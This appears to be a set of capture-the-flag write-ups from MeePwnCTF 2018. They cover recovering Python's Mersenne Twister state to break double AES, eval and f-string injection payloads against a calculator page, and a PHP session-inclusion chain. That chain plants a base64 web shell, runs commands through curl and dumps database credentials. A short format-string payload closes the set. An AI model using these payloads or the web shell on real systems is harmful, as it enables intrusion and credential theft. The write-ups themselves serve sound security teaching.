In this nice challenge we were given the following Python script and a TCP port to connect to:

from secret import flag, mask1, mask2
import string
import random
import sys
import os
import signal
import hashlib
from Crypto.Cipher import AES

menu = """
CHOOSE 1 OPTION
1. Encrypt message
2. Decrypt message
3. Get encrypted flag
4. Exit\n
"""

sys.stdout = os.fdopen(sys.stdout.fileno(), 'w', 0)
bs = 16

def to_string(num, max_len = 128):
    tmp = bin(num).lstrip('0b')[-max_len:].rjust(max_len, '0')
    return "".join(chr(int(tmp[i:i+8], 2)) for i in range(0, max_len, 8))

def pad(s):
	padnum = bs - len(s) % bs
	return s + padnum * chr(padnum)

def unpad(s):
	return s[:-ord(s[-1])]

def gen_key(mask):
	tmp1 = random.random()
	tmp2 = random.random()
	key = int(tmp1 * 2**128) | int(tmp2 * 2**75) | (mask & 0x3fffff)
	key = to_string(key)
	return key

def encrypt_msg(msg, key1, key2):
	iv = to_string(random.getrandbits(128))
	aes1 = AES.new(key1, AES.MODE_CBC, iv)
	aes2 = AES.new(key2, AES.MODE_CBC, iv)
	enc = aes1.encrypt(aes2.encrypt(pad(msg)))
	return (iv + enc).encode("hex")

def proof_of_work():
    """
    This function has very special purpose 
    :)) Simply to screw you up
    """
    prefix = to_string(random.getrandbits(64), 64)
    print 'prefix = {}'.format(prefix.encode('hex'))
    challenge = raw_input('> ')
    tmp = hashlib.sha256(prefix + challenge).hexdigest()
    if tmp.startswith('00000'):
        return True
    else:
        return False

key1 = gen_key(mask1)
key2 = gen_key(mask2)

signal.alarm(300)

if not proof_of_work():
	exit(0)

for _ in range(256):
	print menu
	try:
		choice = int(raw_input("> "))
	except:
		print "wrong option"
		exit(-1)
	if choice == 1:
		msg = raw_input("give me a string: ")
		print encrypt_msg(msg, key1, key2)
	elif choice == 2:
		print "Not implement yet..."
	elif choice == 3:
		print encrypt_msg(flag, key1, key2)
	elif choice == 4:
		exit(-1)
	else:
		print "wrong option"
		exit(-1)

So with this service we are able to get either the flag or a submitted string, encrypted two times with AES using two different keys:

def encrypt_msg(msg, key1, key2):
	iv = to_string(random.getrandbits(128))
	aes1 = AES.new(key1, AES.MODE_CBC, iv)
	aes2 = AES.new(key2, AES.MODE_CBC, iv)
	enc = aes1.encrypt(aes2.encrypt(pad(msg)))
	return (iv + enc).encode("hex")

The two AES keys get generated on startup using Pythons random function:

def gen_key(mask):
	tmp1 = random.random()
	tmp2 = random.random()
	key = int(tmp1 * 2**128) | int(tmp2 * 2**75) | (mask & 0x3fffff)
	key = to_string(key)
	return key

Each key also contains a secret mask that could be up to 22 bits long.

The to_string method just creates a byte string out of the calculated numbers, equivalently to Python3’s int.to_bytes.

Pythons random.random function is not a cryptographically secure RNG, so we should be able to recover the variables tmp1 and tmp2 once we get our hands on enough outputs.

Luckily, the used IV for the CBC mode encryption supplied to us uses the same PRNG:

iv = to_string(random.getrandbits(128))

After recovering the variables tmp1 and tmp2 for each key, we need to brute force the mask for each of the keys.

Reversing the Mersenne Twister

The server side uses Python2, which can be seen on the print statements. CPython 2.7 uses (as many other Interpreters and Libraries) the Mersenne Twister Pseudo Random Number Generator.

The Mersenne Twister works on an internal state of 624 int32 values. The numbers of the internal state have the following relationship:

$\begin{array}{lcl} h & := & Y_{i-N} - Y_{i-N} \, \bmod \, 2^{31} + Y_{i-N+1} \, \bmod \, 2^{31} \\ Y_i & := & Y_{i-227} \;\oplus\; \lfloor h/2 \rfloor \;\oplus\; ((h \, \bmod \, 2) \cdot \mathtt{9908B0DF_{hex}}) \end{array}$

With N = 624 as the size of the internal state. Meaning that every number depends on 3 numbers that came before it.

Before the current number is outputted, it gets mangled to meet some statistical properties. The CPython source code shows this:

[...]
y = mt[self->index++];
y ^= (y >> 11);
y ^= (y << 7) & 0x9d2c5680UL;
y ^= (y << 15) & 0xefc60000UL;
y ^= (y >> 18);
return y;

So in order to recover the variable tmp1, we’d need to:

• Request 156 random IVs (since every IV is made of four int32)
• Reverse the bit mangling of the output to receive the internal state $Y_i$
• Calculate the state $Y_{i - N + 1}$ which was used in the random.random function
• Recreate the gen_key function with our recovered pseudo random number

Unfortunately it’s not that easy. But almost. By looking at the way, internal states get calculated we see that the last bit of our targeted state is lost in the process. The highest bit of our targeted state can be recovered by looking at the successor state $Y_{i + 1}$ (only the highest bit gets used, see above). This means we get 2 possible numbers per recovered internal state.

Since the random.random function uses two int32 values:

static PyObject * random_random(RandomObject *self)
{
    unsigned long a=genrand_int32(self)>>5, b=genrand_int32(self)>>6;
    return PyFloat_FromDouble((a*67108864.0+b)*(1.0/9007199254740992.0));
}

We get 2*2 possible outputs per random.random call. Since the function is called two times per key and we have two keys, there are $(2^2)^2 = 16$ possibilities how each keys could look like.

So after requesting 156 128-bit IVs we split them up in 32 bit chunks that represent the output of the mersenne twister:

def output128_to_32(outputs):
    for o in outputs:
        bn = o.to_bytes(16, "little")
        for i in range(4):
            outputs32.append(int.from_bytes(bn[i*4:(i+1)*4], "little"))
    return outputs32

We then proceed to reverse the mangling of the outputs to get the internal state $Y_i$ and finally calculate the candidates for all the pseudo random int32’s that were used during key generation:

def inv(x):
    x ^= (x >> 18)
    # Lowest 16 bit stay how they are, so we can just repeat...
    x ^= (x << 15) & 0xEFC60000
    # Do it step by step
    x ^= (x << 7) & 0x1680
    x ^= (x << 7) & 0xC4000
    x ^= (x << 7) & 0xD200000
    x ^= (x << 7) & 0x90000000
    # Only highest 11 bits are untouched
    x ^= (x >> 11) & 0xFFC00000
    # Do step by step again
    x ^= (x >> 11) & 0x3FF800
    x ^= (x >> 11) & 0x7FF
    return x
    
def recover_state(i, outputs32):
    """
    return all possible candidates for state how it was (i-624) iterations ago!
    """


    Y = inv(outputs32[i - 1])
    h_1 = Y ^ inv(outputs32[i - 227 - 1])
    Y_old = inv(outputs32[i])
    h_1_msb = ((Y_old ^ inv(outputs32[i - 227]))>>30) & 1

    h_2 = h_1 
    h_2_alt = h_1 ^ 0x9908B0DF

    # even case
    h_2 = (h_2 << 1) & 0x7fffffff
    # odd case
    h_2_alt = ((h_2_alt << 1)|1) & 0x7fffffff
    
    # Add the missing highest bit (recovered from successive output)
    h_2 = (h_1_msb<<31)|h_2
    h_2_alt = (h_1_msb<<31)|h_2_alt

    candidates = [h_2, h_2_alt]
    return candidates

We then use those candidates to create all 16 possible combinations of float values that could have been created using the random.random function:

def float_magic(a, b):
    """
    Rebuild of random_rancom from randommodule.c
    uses two outsputs!
    """
    a = a >> 5
    b = b >> 6
    return (a*67108864.0+b)*(1.0/9007199254740992.0)

def floats_for_cands(a_cs, b_cs):
    """
    Applies float_magic to all candidate combinations
    """
    floats = []
    for a_c in a_cs:
        for b_c in b_cs:
            floats.append(float_magic(a_c, b_c))
    return floats

(The link of the full exploit script is below.)

We also have to keep in mind that the proof of work challenge of the server uses 64 bits (two internal states) of the PRNG between key generation and first IV.

Meet in the Middle

So after we can nail the variables tmp1 and tmp2 down to 16 candidates, we just need to find the secret masks of the keys.

Since we have two keys with a mask of 22 bits, we would need to brute force $2^{22} \cdot 2^{22} = 2^{44}$ keys, right? Wrong! We can employ a meet in the middle attack.

By decrypting the flag’s ciphertext with all $16 \cdot 2^{22}$ possible key2 keys and storing the results of the decryption together with the keys, we can go through all possible key1 keys encrypting our plaintext and comparing the results.

So the attack works as follows:

• Send a plaintext to the server, store the returned ciphertext
• Go through all 67 million possible candidates for key2 and decrypt the ciphertext with them
• Save all 67 million ciphertext/key2 pairs in a hash table
• Go through all possible candidates for key1 and encrypt our plaintext with key1
• Compare if the encryption with key1 yields the same result as the decryption of a candidate of key2

If we found a case where the encryption of key1 matches the decryption of key2, we found our two keys! Instead of having to go through $2^{44} = 17592186044416$ we only have to go through roughly $2 \cdot 2^{22} = 8388608$ possible values for mask1 and mask2.

Putting it together

The full exploit script can be found on github.

It is far from beeing optimized but uses the multiprocessing module to distribute the work over 16 processes.

We ran the script on a optimized droplet with 64 GB RAM and 16 physical cores to get good performance.

After running the script for a couple of minutes, we got:

$ p3 swag.py
After Pow
At  0
At  1
At  2
At  3
[...]
The flag is: MeePwnCTF{DO_n0t_trust_anyth1ng}

\o/

PyCalX2 was part of the MeePwnCTF Quals 2018 and consists of a webpage with 3 inputs, a value, an operator and a second value.

You should have a look PyCalX before reading this writeup.

Filtered input

The code differs from PyCalX by the fact that our operation is filtered now too, this breaks our quote injection and we have to find a new way in.

-    op = get_op(arguments['op'].value)
+    op = get_op(get_value(arguments['op'].value))

Fun with flags

Well, seeing the flag of PyCalcX we get a hint for python3.6, reading the changelog we found that python3.6 intruduced a new type of format-strings, often called f-strings or Literal String Interpolation.

With that information our new operator now is: +f

Exploit

These new format strings allow some eval-like behaviour, using {FLAG<source} we appearantly have an even easier comparison, but there is a catch, this returns True or False, which would be appended to value1 (which can’t be empty), but the script only allows outputs with digits, the word True or the word False, no combinations, nothing else.

As a workaround we can use nesting inside the format-string, something like {"e":{FLAG<source:1}.1} would return e if FLAG<source, otherwise it would throw an exception. Setting value1 to Tru this would end up as True in one case and Invalid (because of the exception) in the other.

Now we still can’t use quotes so we have to find a string starting with e, but that’s quite easy and our full payload for value2 now looks like this: {sys.exit.__name__:{FLAG<source:1}.1}.

With everything in place we can now do the binary search again.

This time we knew what was coming: MeePwnCTF{python3.6[_strikes_backkkkkkkkkkkk)}

PyCalX was part of the MeePwnCTF Quals 2018 and consists of a webpage with 3 inputs, a value, an operator and a second value.

The code for the challenge is visible on the page when source is in the GET-arguments. There is a link for that directly on the page.

The values and operation are used inside an eval statement, which very clearly is the target of our attack.

Filtered input

Having a look around we’ll see that values and the operator are filtered in a few ways.

If a value contains only digits it’s casted as integer, if it’s a string there is a blacklist for things like brackets and quotes. Furthermore instead of the string directly a repr of it (containing single-quotes which we can’t easily break) is used.

The operator is limited to 2 characters and the first has to be one of +-/*=!.

Exploit

We can freely control the second character of the operator, so let’s make it +', that way the second value will be evaluated as code and an empty string will be appended to the first value.

Using a second value like +source+FLAG < value1+source+source# (using the comment-character to ignore the last ' in the eval) gives us an evaluated command that effectively is equivilant to 'whatever'+''+'Mee'+'MeePwnCTF{...}' < 'whatever'+'Mee'+'Mee' (for source=Mee).

Python considers a string “bigger” than another if there is a difference between them and the first mismatching character is bigger (in ascii) than in the comparison.

With the example Mee would be False, but Mef is True.

That made it very easy to use a binary search, making this process really quick.

In the end we get the (annoyingly confusing) flag: MeePwnCTF{python3.66666666666666_([_((you_passed_this?]]]]]])}

Mapl Story was part of the MeePwnCTF Quals 2018 and consists of a webpage where you can name a “character” and train a pet a command. You get the code but the config is censored.

Have a look around

First of let’s create an account, e.g. foobar@example.org/foobar123, set any name, we’ll change that later.

Sign in and have a look at your cookies, you’ll see your PHPSESSID and a _role. _role is generated using either sha256("admin".$salt) or (in this case) sha256("user".$salt). We need the salt to continue here.

Have a look around the few pages on the site. The game page is completely irrelevant, just a gimmick.

File inclusion vulnerability

There is a file inclusion vulnerability in index.php, so have a look at e.g. /index.php?page=/etc/group. Unfortunately it uses a GET variable which is heavily escaped so for now there isn’t really much we can directly do with this bug.

Let’s get salty

Let’s have a look at /index.php?page=/var/lib/php/sessions/sess_PHPSESSID (replace PHPSESSID).

You’ll see a variable called character_name. character_name is AES-128-ECB encrypted data using openssl_encrypt($data.$salt,"AES-128-ECB",$key). Since AES-128-ECB is working on 16-byte blocks and we control the start of the string (it’s the character name you can update on your settings page!) we can attack it by brute-forcing byte by byte.

We start of setting a character name like AAAAAAAAAAAAAAA (15x’A’) and we’ll look at the first 32 characters of the hash in the session file, now we start trying printable characters at the 16. position, we’ll find a hash match at AAAAAAAAAAAAAAAm so we now the salt starts with m. Next we do the same thing with AAAAAAAAAAAAAA (14x’A’) and will get the hash and try characters again, the next match will be AAAAAAAAAAAAAAms.

We’ll continue this until we finally get the salt: ms_g00d_0ld_g4m3.

Becoming admin

Becoming admin now is as simple as writing the result of sha256("admin"."ms_g00d_0ld_g4m3") into our _role cookie. After refreshing the page you’ll see the admin link appearing in the navigation bar.

sha256("admin"."ms_g00d_0ld_g4m3") => a2ae9db7fd12a8911be74590b99bc7ad1f2f6ccd2e68e44afbf1280349205054

Give yourself a pet

In the admin menu you have to give yourself a pet. This will allow you to train it commands on the character page, which is just writing a text-file under "uploads/".md5($salt.$email)."/command.txt. A lot of characters are filtered and you can only write 19 characters, so you can’t really do much with this alone.

19 characters is just barely long enough to fit a base64-encoded <?=`$_GET[1]`; (PD89YCRfR0VUWzFdYDs – slightly broken padding), which would give us a shell, but now we need a way to actually decode and execute that…

Choose a new name

Well, if you looked carefully at the session file you would have noticed the clear-text action part, which contains the last logged line. There is one log-line in the code-base which we can control, when giving a player a pet the log will contain the character name at the end.

I think <?=include"$_COOKIE[0] is a beautiful name, don’t you think? So what does this do?… It allows us to include files using a cookie named 0. Since cookies are not filtered inside the script we now have full control over the file inclusion.

Execute your first command

Now that everything is prepared we need a final way to execute the base64-encoded php code we trained our pet earlier, but that’s really simple, PHP actually has a built-in helper for that: php://filter/convert.base64-decode/resource=path/to/file.

In case of foobar@example.org (considering the upload path mentioned before) a command-execution now looks like this:

Ξ ~ → curl 'http://mapl.story/?page=/var/lib/php/sessions/sess_0qlekg08c8pah3rcftjraeon24&1=ls' -H 'Cookie: 0=php://filter/convert.base64-decode/resource=upload/56cea464131b6903185abfe3d6103385/command.txt'      
character_name|s:96:"d1f197d11ed6b3d29f08a9893429eb2bfa19e4543ff1d33bf19c5a89aec19b45080a355c37b4654ec2a5813f81dbe98b";user|s:96:"917467323f3a8e09ab1c2a2d7e3dc3ac85c0c4f08622b7e10a4ec4a18ad36e9919326131b516d9053ee8980a1230ad0e";action|s:65:"[02:27:52am GMT+7] gave blackpig to player admin.php
assets
character.php
dbconnect.php
die.php
game.php
home.php
index.php
login.php
logout.php
mapl_library.php
register.php
setting.php
style.css
upload
1

Attack!

From there we can take a look at dbconnect.php (&1=cat%20dbconnect.php) and we’ll find the mysql username and password:

define('DBUSER', 'mapl_story_user');
define('DBPASS', 'tsu_tsu_tsu_tsu'); 
define('DBNAME', 'mapl_story');

Now let’s see what’s in the mapl_config table that is mentioned a few times in the script (it should at least contain the encryption key):

curl 'http://mapl.story/?page=/var/lib/php/sessions/sess_0qlekg08c8pah3rcftjraeon24&1=echo%20%27SELECT%20%2A%20FROM%20mapl_config%3B%27|%20mysql%20-umapl_story_user%20-ptsu_tsu_tsu_tsu%20mapl_story' -H 'Cookie: 0=php://filter/convert.base64-decode/resource=upload/56cea464131b6903185abfe3d6103385/command.txt' 
character_name|s:96:"d1f197d11ed6b3d29f08a9893429eb2bfa19e4543ff1d33bf19c5a89aec19b45080a355c37b4654ec2a5813f81dbe98b";user|s:96:"917467323f3a8e09ab1c2a2d7e3dc3ac85c0c4f08622b7e10a4ec4a18ad36e9919326131b516d9053ee8980a1230ad0e";action|s:65:"[02:27:52am GMT+7] gave blackpig to player mapl_salt	mapl_key	mapl_now_get_your_flag
ms_g00d_0ld_g4m3	You_Never_Guess_This_Tsug0d_1337	MeePwnCTF{__Abus1ng_SessioN_Is_AlwAys_C00L_1337!___}
1

There we go, we got our flag MeePwnCTF{__Abus1ng_SessioN_Is_AlwAys_C00L_1337!___} :)

We got some 32 bit binary with the following metalogic:

int secret = gettruerandomnum() & 0x10decafe;
char *username = readusername();
int guess = readguess();
logattempt(username, guess);
sleep(3);
if (guess == secret)
    system("/bin/sh");
exit(0);

long story short, in the logattempt function we had a formatstring vulnerability. But we could not overwrite the secret with %n as there was no pointer to it on the stack. Also there was a small size limit for the formatstring to do anything else. The only interesting thing we could overwrite was our own guess. If we open up the man(3) page of printf we see an example for the usage of a variable argument printf("%2$*1$d", width, num);. It will print num in decimal format padded by whitespaces so it reaches the length num. Now thats something we could use. We just print something and use the secret as a padding. Then we can write the number of written bytes (correct secret) into our guess. Finally we get some payload like this %26$*26$d%15$n.